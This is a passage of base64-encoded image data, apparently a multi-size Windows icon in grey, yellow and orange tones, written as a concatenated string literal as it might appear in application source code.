S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPidGXT3/Rl09/0ZdPiAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08Z0ZdP9dGXT3/Rl09/0ZdP9dGX + TxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+T0ZdP/9GX + T3/Rl09/0ZdP/9GXT5IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + Tx/Rl0/40ZdP/9GXT3/Rl09/0ZdP/9GXT/jRl08fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXT53Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0+cAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPJtGXT/vRl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0/70ZdPJgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPp9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdPpwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08v0ZdP/dGXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/dGXTy4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+x0ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT7EAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TzfRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT/7Rl083AAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0phPANGXT7vRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0+705hQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPQdGXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdP/9GXT//Rl0//0ZdPQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08A0ZdPxdGXT//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdPxdGXTwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08B0ZdP1NGXT//Rl0//0ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdP09GXTwEAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwZLS0tR0ZdPXNGX + T//Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT//Rl0//0ZdPW0tL + S1JLS0sGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + S2dLS0vgiG5NCdGXT93Rl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GX + T//Rl0/dgWpNCktLS+JLS0tnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLBktLS+FLS0v/S0tLXtGXT2jRl0//0ZdP/9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdP/9GXT//Rl09nS0tLYktLS/9LS0vhS0tLBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLaUtLS/9LS0v/S0tL1LuLTgnRl0/m0ZdP/9GXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT+avhE4KS0tL2UtLS/9LS0v/S0tLaAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sHS0tL4ktLS/9LS0v/S0tL/0tLS0/Rl0900ZdP/9GX + T//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP/9GXT3RLS0tWS0tL/0tLS/9LS0v/S0tL4UtL + SwcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tqS0tL/0tLS/9LS0v/S0tL/0tL + S8fQl08N0ZdP7dGXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdP7cqTTw1LS0vOS0tL/0tL + S/9LS0v/S0tL/0tLS2kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwdLS0vjS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0tA0ZdPgdGXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0//0ZdPgEtL + S0lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+JLS0sHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + S2tLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0u40ZdPE9GXT/PRl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0/z0ZdPE0tLS8NLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0tqAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLCEtLS+RLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v+S0tLMdGXT1vRl0+K0ZdPitGX + T0XRl09F0ZdPitGXT4rRl09bS0tLPUtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0vjS0tLBwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLbEtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bgzdzW4W3c1uFt3NbhbdzW4W3c1uFt3NbhbdzW4MS0tLcEtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sIS0tL5EtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0vkYF5QCd3NbtDdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7RWlhPDktLS+tLS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL5EtLSwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0tuS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0tt3c1uUN3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uUktL + S3lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS20AAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwlLS0vlS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+VXVk4J3c1uzd3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u0FhXTg5LS0vsS0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+VLS0sIAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + S29LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS3DdzW5M3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NblJLS0t6S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0tuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLCUtLS+ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL51FQTArdzW7K3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbs9XVk4OS0tL7EtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0vlS0tLCQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLcEtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLct3N + bkndzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW5RS0tLektL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sJS0tL50tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0vpTU1MC93NbsbdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7PVlVOD0tLS+1LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL5ktLSwkAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0txS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0t13c1uRd3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1uUEtLS3tLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwpLS0vnS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+pMTEsM3c1uwt3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uzlVUTQ9LS0vtS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS+dLS0sKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + S3JLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS3jdzW5B3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NblBLS0t8S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0tyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLCktLS+hLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tL7EtLSw3dzW6+3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bs5UU00QS0tL7ktLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0voS0tLCgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLdEtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLet3N + bj3dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW5PS0tLfUtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLcwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sLS0tL6UtLS/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0vtS0tLDt3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7NU1JNEEtLS+5LS0v/S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL6EtLSwsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0t1S0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0t93c1uOd3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uT0tLS35LS0v/S0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS3QAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSwtLS0vpS0tL/0tL + S/9LS0v/S0tL/0tLS/9LS0v+S0tLwktLS15LS0sH3c1uIt3Nbn3dzW7I3c1u/d3Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/t3Nbs7dzW6D3c1uKktL + SwdLS0teS0tLwktLS/5LS0v/S0tL/0tLS/9LS0v/S0tL/0tLS+lLS0sLAAAAAAAAAAAAAAAAAAAAAEtL + S3ZLS0v/S0tL/0tLS/9LS0v/S0tL6ktLS4xLS0soAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3c1uF93N + bmDdzW6s3c1u8d3Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u893Nbq/dzW5k3c1uGgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSyhLS0uMS0tL6ktLS/9LS0v/S0tL/0tLS/9LS0t1AAAAAAAA + AAAAAAAAS0tLDEtLS+pLS0v/S0tL/UtLS7pLS0tWS0tLBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA3c1uBt3NbkTdzW6P3c1u293Nbv/dzW7/3c1u3N3NbpHdzW5G3c1uBwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLB0tLS1ZLS0u7S0tL/UtL + S/9LS0vqS0tLDAAAAAAAAAAAS0tLd0tLS+VLS0uES0tLIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3c1uAN3NbijdzW4o3c1uAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLIktLS4RLS0vlS0tLdwAAAAAAAAAAS0tLOktLSwQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLS0sES0tLOgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////8AAP// + /////wAA///+f///AAD///w///8AAP///D///wAA///4H///AAD///gf//8AAP//8A///wAA///wD/// + AAD//+AH//8AAP//4Af//wAA///AA///AAD//8AD//8AAP//gAH//wAA//+AAf//AAD//wAA//8AAP// + AAD//wAA//4AAH//AAD//AAAP/8AAP/8AAA//wAA//gAAB//AAD/+AAAH/8AAP/wAAAP/wAA//AAAA// + AAD/4AAAB/8AAP/gAAAH/wAA/8AAAAP/AAD/wAAAA/8AAP+AAAAB/wAA/4AAAAH/AAD/AAAAAP8AAP8A + AAAA/wAA/gAAAAB/AAD+AAAAAH8AAPwAAAAAPwAA/AAAAAA/AAD4AAAAAB8AAPgAAAAAHwAA8AAAAAAP + AADwAAAAAA8AAOAAAAAABwAA4AAAAAAHAADAAAAAAAMAAMA/AAD8AwAAgP/gB/8BAACH//5//+EAAJ// + ////+QAA////////AAAoAAAAQAAAAIAAAAABACAAAAAAAABAAAAjLgAAIy4AAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 